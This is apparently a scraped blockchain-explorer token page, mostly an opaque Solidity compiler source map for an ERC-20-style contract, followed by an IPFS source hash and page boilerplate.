;;3192:71:0;;;;;;;:::i;:::-;6032:6:::1;:25:::0;;-1:-1:-1;;;;;;6032:25:0::1;-1:-1:-1::0;;;;;6032:25:0;;;::::1;::::0;;;::::1;::::0;;5957:108::o;8335:346::-;-1:-1:-1;;;;;8437:19:0;;8429:68;;;;-1:-1:-1;;;8429:68:0;;6080:2:1;8429:68:0;;;6062:21:1;6119:2;6099:18;;;6092:30;6158:34;6138:18;;;6131:62;-1:-1:-1;;;6209:18:1;;;6202:34;6253:19;;8429:68:0;5878:400:1;8429:68:0;-1:-1:-1;;;;;8516:21:0;;8508:68;;;;-1:-1:-1;;;8508:68:0;;6485:2:1;8508:68:0;;;6467:21:1;6524:2;6504:18;;;6497:30;6563:34;6543:18;;;6536:62;-1:-1:-1;;;6614:18:1;;;6607:32;6656:19;;8508:68:0;6283:398:1;8508:68:0;-1:-1:-1;;;;;8589:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8641:32;;1258:25:1;;;8641:32:0;;1231:18:1;8641:32:0;;;;;;;8335:346;;;:::o;6975:626::-;-1:-1:-1;;;;;7081:20:0;;7073:70;;;;-1:-1:-1;;;7073:70:0;;6888:2:1;7073:70:0;;;6870:21:1;6927:2;6907:18;;;6900:30;6966:34;6946:18;;;6939:62;-1:-1:-1;;;7017:18:1;;;7010:35;7062:19;;7073:70:0;6686:401:1;7073:70:0;-1:-1:-1;;;;;7162:23:0;;7154:71;;;;-1:-1:-1;;;7154:71:0;;7294:2:1;7154:71:0;;;7276:21:1;7333:2;7313:18;;;7306:30;7372:34;7352:18;;;7345:62;-1:-1:-1;;;7423:18:1;;;7416:33;7466:19;;7154:71:0;7092:399:1;7154:71:0;7253:6;;-1:-1:-1;;;;;7253:6:0;;;7240:19;;;;7236:76;;-1:-1:-1;;;;;7284:15:0;;;;;;:7;:15;;;;;;;;7276:24;;;;;;-1:-1:-1;;;;;7346:17:0;;7322:21;7346:17;;;:9;:17;;;;;;7382:23;;;;7374:74;;;;-1:-1:-1;;;7374:74:0;;7698:2:1;7374:74:0;;;7680:21:1;7737:2;7717:18;;;7710:30;7776:34;7756:18;;;7749:62;-1:-1:-1;;;7827:18:1;;;7820:36;7873:19;;7374:74:0;7496:402:1;7374:74:0;7479:22;7495:6;7479:13;:22;:::i;:::-;-1:-1:-1;;;;;7459:17:0;;;;;;;:9;:17;;;;;;:42;;;;7512:20;;;;;;;;:30;;7536:6;;7459:17;7512:30;;7536:6;;7512:30;:::i;:::-;;;;;;;;7575:9;-1:-1:-1;;;;;7558:35:0;7567:6;-1:-1:-1;;;;;7558:35:0;;7586:6;7558:35;;;;1258:25:1;;1246:2;1231:18;;1112:177;7558:35:0;;;;;;;;7062:539;6975:626;;;:::o;6073:96::-;3200:10;;-1:-1:-1;;;;;3200:10:0;2613;3200:26;3192:71;;;;-1:-1:-1;;;3192:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6139:15:0::1;;::::0;;;:7:::1;:15;::::0;;;;:22;;-1:-1:-1;;6139:22:0::1;6157:4;6139:22;::::0;;6073:96::o;126:179::-;184:7;;216:5;220:1;216;:5;:::i;:::-;204:17;;245:1;240;:6;;232:46;;;;-1:-1:-1;;;232:46:0;;8105:2:1;232:46:0;;;8087:21:1;8144:2;8124:18;;;8117:30;8183:29;8163:18;;;8156:57;8230:18;;232:46:0;7903:351:1;232:46:0;296:1;126:179;-1:-1:-1;;;126:179:0:o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;2261:127::-;2322:10;2317:3;2313:20;2310:1;2303:31;2353:4;2350:1;2343:15;2377:4;2374:1;2367:15;2393:1127;2477:6;2530:2;2518:9;2509:7;2505:23;2501:32;2498:52;;;2546:1;2543;2536:12;2498:52;2586:9;2573:23;2619:18;2611:6;2608:30;2605:50;;;2651:1;2648;2641:12;2605:50;2674:22;;2727:4;2719:13;;2715:27;-1:-1:-1;2705:55:1;;2756:1;2753;2746:12;2705:55;2796:2;2783:16;2822:18;2814:6;2811:30;2808:56;;;2844:18;;:::i;:::-;2890:6;2887:1;2883:14;2926:2;2920:9;2989:2;2985:7;2980:2;2976;2972:11;2968:25;2960:6;2956:38;3060:6;3048:10;3045:22;3024:18;3012:10;3009:34;3006:62;3003:88;;;3071:18;;:::i;:::-;3107:2;3100:22;3157;;;3207:2;3237:11;;;3233:20;;;3157:22;3195:15;;3265:19;;;3262:39;;;3297:1;3294;3287:12;3262:39;3329:2;3325;3321:11;3310:22;;3341:148;3357:6;3352:3;3349:15;3341:148;;;3423:23;3442:3;3423:23;:::i;:::-;3411:36;;3476:2;3374:12;;;;3467;3341:148;;;-1:-1:-1;3508:6:1;2393:1127;-1:-1:-1;;;;;;2393:1127:1:o;3525:260::-;3593:6;3601;3654:2;3642:9;3633:7;3629:23;3625:32;3622:52;;;3670:1;3667;3660:12;3622:52;3693:29;3712:9;3693:29;:::i;:::-;3683:39;;3741:38;3775:2;3764:9;3760:18;3741:38;:::i;:::-;3731:48;;3525:260;;;;;:::o;3790:380::-;3869:1;3865:12;;;;3912;;;3933:61;;3987:4;3979:6;3975:17;3965:27;;3933:61;4040:2;4032:6;4029:14;4009:18;4006:38;4003:161;;4086:10;4081:3;4077:20;4074:1;4067:31;4121:4;4118:1;4111:15;4149:4;4146:1;4139:15;4003:161;;3790:380;;;:::o;4584:127::-;4645:10;4640:3;4636:20;4633:1;4626:31;4676:4;4673:1;4666:15;4700:4;4697:1;4690:15;4716:128;4783:9;;;4804:11;;;4801:37;;;4818:18;;:::i;4849:125::-;4914:9;;;4935:10;;;4932:36;;;4948:18;;:::i;4979:356::-;5181:2;5163:21;;;5200:18;;;5193:30;5259:34;5254:2;5239:18;;5232:62;5326:2;5311:18;;4979:356::o;5340:127::-;5401:10;5396:3;5392:20;5389:1;5382:31;5432:4;5429:1;5422:15;5456:4;5453:1;5446:15

Swarm Source

ipfs://abdd6666ed3b10f3bd27c89b47312743e59d6887250ba0f1fff76a4feae09a0c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.